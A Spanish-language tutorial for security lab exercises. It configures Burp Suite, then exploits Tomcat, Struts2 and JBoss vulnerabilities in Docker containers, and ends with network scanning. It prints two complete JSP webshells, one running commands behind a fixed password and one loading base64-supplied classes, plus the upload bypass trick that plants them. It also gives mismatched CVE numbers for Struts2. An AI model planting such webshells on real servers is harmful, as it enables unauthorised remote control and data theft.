Este artículo detalla ejercicios prácticos de ciberseguridad que abarcan la instalación de Burp Suite para interceptar tráfico HTTP y la explotación de vulnerabilidades en aplicaciones como Tomcat, Struts2 y JBoss mediante contenedores Docker.
Intercepción de Tráfico HTTP con Burp Suite
Para capturar paquetes de datos HTTP, primero se instala Java 1.8.144 y se configuran las variables de entorno del sistema operativo de la siguiente manera:
JAVA_HOME: Ruta absoluta a la carpeta JDK, por ejemplo,C:\Program Files\Java\jdk1.8.0_144.CLASSPATH: Configurado como.%;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;.PATH: Incluye%JAVA_HOME%\bin.
Posterioremnte, se instala Burp Suite y se configura el navegador para usar un proxy en la dirección local (127.0.0.1) y puerto 8080. Al iniciar Burp y desactivar la intercepción en la pestaña Proxy, se puede navegar a un sitio web objetivo. Al activar la intercepción y recargar la página, se capturan los paquetes HTTP, lo que permite su análisis en la interfaz de Burp.
Explotación de la Vulnerabilidad de Escritura Arbitraria en Tomcat (CVE-2017-12615)
Se utiliza un entorno Docker con la imagen cved/cve-2017-12615. Para levantar el contenedor, se ejecuta:
docker run -d -p 8080:8080 cved/cve-2017-12615
Una vez verificado que Tomcat está activo mediante el navegador, se explota la vulnerabilidad para cargar archivos JSP. La clave es agregar una barra diagonal al final del nombre del archivo, como mi_script.jsp/, para evadir las restricciones de Tomcat, ya que el sistema operativo elimina la barra diagonal automáticamente.
Para la ejecución remota de comandos, se crea un archivo JSP con la siguiente lógica adaptada:
<%@ page import="java.io.*" %>
<%
String autenticacion = request.getParameter("clave");
if ("acceso123".equals(autenticacion)) {
String comando = request.getParameter("ejecutar");
Process proceso = Runtime.getRuntime().exec(comando);
BufferedReader lector = new BufferedReader(new InputStreamReader(proceso.getInputStream()));
String linea;
out.print("");
while ((linea = lector.readLine()) != null) {
out.println(linea);
}
out.print("");
}
%>
Para la herramienta de administración remota, se carga un script similar a AntSword, pero con una estructura modificada para la deserialización de clases:
<%!
class CargadorPersonalizado extends ClassLoader {
CargadorPersonalizado(ClassLoader parent) {
super(parent);
}
public Class cargarClase(byte[] datos) {
return defineClass(datos, 0, datos.length);
}
}
private byte[] decodificarBase64(String texto) {
// Lógica de decodificación modificada
return java.util.Base64.getDecoder().decode(texto);
}
%>
<%
String datosCodificados = request.getParameter("token");
if (datosCodificados != null) {
new CargadorPersonalizado(this.getClass().getClassLoader()).cargarClase(decodificarBase64(datosCodificados)).newInstance().equals(pageContext);
}
%>
Se inicializa AntSword desde su repositorio oficial, configurando la URL del contenedor Tomcat y la contraseña del script para establecer una conexión exitosa, lo que permite la exploración del sistema de archivos remoto.
Explotación de Ejecución Remota de Código en Struts2 (CVE-2017-9791)
Se despliega un contenedor Docker con la imagen piesecurity/apache-struts2-cve-2017-5638:
docker run -d -p 8081:8080 piesecurity/apache-struts2-cve-2017-5638
Al acceder a la aplicación a través del navegador en la ruta /showcase.action, se puede inyectar una expresión OGNL en campos de entrada, como ${7*6}. El servidor procesa la expresión y devuelve el resultado (por ejemplo, 42), lo que demota la ejecución de código arbitrario.
Explotación de Deserialización Insegura en JBoss (CVE-2017-12149)
Se utiliza la imagen Docker hackingpub/cve-2017-12149 y se ejecuta con:
docker run -d -p 8082:8080 hackingpub/cve-2017-12149
Tras esperar a que el servicio JBoss esté disponible, se emplea una herramienta específica de deserialización, como el archivo jboss_deserialization_exploit.jar. Se ingresa la dirección del contenedor, el puerto y un comando (por ejemplo, whoami), lo que ejecuta el comando en el servidor y devuelve el resultado, evidenciando la vulnerabilidad.
Recopilación de Información en Sistemas Legítimos
Para la recolección de datos en un entorno controlado, se utilizan herramientas como fscan, Goby y dirsearch. Por ejemplo, se ejecuta un escaneo con fscan en una dirección IP local:
fscan64 -h 192.168.253.133
Adicionalmente, se aplican escaneos de directorios y análisis de vulnerabilidades con Goby, generando un reporte detallado de los hallazgos sin realizar actividades prohibidas.